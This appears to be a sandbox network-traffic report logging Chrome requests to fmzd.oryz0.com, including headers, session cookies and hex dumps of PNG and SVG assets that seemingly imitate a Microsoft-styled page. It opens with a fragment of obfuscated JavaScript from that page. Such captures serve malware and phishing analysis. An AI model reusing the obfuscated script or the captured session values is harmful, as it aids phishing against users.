3d 5f 30 78 31 33 61 65 31 Data Ascii: 1e(0xb2)]['toggle'](_0x13ae1e(0x127)),document[_0x13ae1e(0xbb)](_0x13ae1e(0x149))[_0x13ae1e(0xb2)][_0x13ae1e(0x200)](_0x13ae1e(0x127)),view=_0x13ae1e(0x1d8),sendAndReceive(_0x13ae1e(0xa2),[_0x13ae1e(0x9e)],0x1)['then'](_0x5b89d8=>{const _0x57caf2=_0x13ae1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49794	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:35 UTC	1467	OUT	GET /qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:36 UTC	652	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:36 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="qrqHkBdf3yLyCoYX6uaAmMyA5ZEDG2fGZmnmukiIeb0S4uAmfsMp845136" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rj6ZiSAB0fcZRBCFDhW%2F2akuxmFO1egRb%2BwMh6ch3MkH%2FhqC21oNv39HSHoNAN6xlncBVF2Fu%2B1qeoCZyvetwkJTDBuPBfuBNhQkksEBHejxSLWRIDCY8TojBi3nUg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0c9ddac42d0-EWR
2024-05-23 08:31:36 UTC	717	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\
2024-05-23 08:31:36 UTC	10	IN	Data Raw: 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49797	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:35 UTC	1128	OUT	GET /kldBaTGaMI14H8C3GglM670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:36 UTC	674	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:36 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="kldBaTGaMI14H8C3GglM670jDjijX4stNOD81yGNtSywFAVJ0xeo20J7xU1GbFuv220" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nvvTJDh5Got23qFw42C%2FkJTnL8CPy54bHuJMjULjbmvvaLMIm5WDMdjOWJb7JntpQwsr%2FZo%2BiQTcxdfmrlAte2l63V1cMVgWnPN2%2FGM4c9ix%2FoQIDZBQePJuy6CQEA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0c9f8980c9d-EWR
2024-05-23 08:31:36 UTC	695	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-05-23 08:31:36 UTC	1176	IN	Data Raw: 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 3d 22 31 22 20 73 74 6f Data Ascii: -424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" sto
2024-05-23 08:31:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49798	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:35 UTC	1106	OUT	GET /uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:36 UTC	639	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:36 GMT Content-Type: image/png Content-Length: 231 Connection: close Content-Disposition: inline; filename="uvhsHf7kvdLkQQERLIIhKast6Nm88PiJoYHda69V12127" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KtTX6866iA3DXX562%2Fv7IPEHNFQWeKsA0Wuh9xDTH0vvoL%2FGkeyUpRrF7Q9eCz3dIm2w08eKJE336I8OF%2FRebJsXofOMies0T8Y7FUvQ38a1ENKVTFZE4SRH%2FTnk5g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0cab887c47a-EWR
2024-05-23 08:31:36 UTC	231	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 18 00 00 00 18 08 06 00 00 00 e0 77 3d f8 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 a1 49 44 41 54 48 4b ed 93 b1 0d 02 31 10 04 e7 5a a0 0c aa b8 12 a8 80 9c 2e 20 23 24 23 a5 94 2d e1 cb 20 24 24 33 b2 f4 48 1f 80 cf bc 71 80 78 a7 3e ed 78 c7 b6 d1 79 59 e7 7c 16 40 68 f8 8f 14 b9 fb 05 18 24 9d 42 2f 93 81 2a 45 63 f8 0a d8 4a ba 7d 15 d0 12 9e 0f 52 6c d0 1a 5e 04 8c e1 1b e0 0c dc 23 2d 92 0e af 66 de 36 70 f7 63 4a 69 67 66 b5 80 fd 47 80 3c 9c 21 c0 7a ce e5 3e 61 e1 2b 6a 85 84 80 d6 26 55 80 09 e4 da e5 a3 45 2f a8 b4 5f dd 60 2e 64 01 84 e6 7e 5f d1 03 bf ca 37 19 0c 18 34 60 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRw=sRGBIDATHK1Z. #$#- $$3Hqx>xyY\|@h$B/*EcJ}Rl^#-f6pcJigfG<!z>a+j&UE/_`.d~_74`IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49799	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:36 UTC	1455	OUT	GET /efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:36 UTC	649	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:36 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="efsfnXL1mkSjhUqqyhqkpk4F8mijDEqazbDtkPlc578150" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xP7QFrzHE7Wo5BM%2Bo4B3faHXupCu274RDfEHwR1yG5e9IDYW4DsxPfjOIsQ3c678UXkFjfzLZXice9xi8FcC%2BSN5LAHhgs6wjfp79KXpk%2FcDxJBg9bJaNtF8kgXNmQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0ccbc9dc45e-EWR
2024-05-23 08:31:36 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-05-23 08:31:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49801	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:36 UTC	1476	OUT	GET /klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:37 UTC	672	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:37 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c0BqS6w5Wg%2BEatHioN100Wq3aS2xU%2FZ9flvb6MjM6gK2vWkApUwvpxslBC%2B6a8BERpfuJzGnWjkzcZtypRGKebdONWklotwgelJSh5e1Ov%2Fd7mCyjQ7wsvzRmJYfwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0cf2ae043f1-EWR
2024-05-23 08:31:37 UTC	697	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 33 31 2e 31 34 37 20 30 20 32 33 2e 39 37 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e Data Ascii: 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 31 2e Data Ascii: 194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 21.
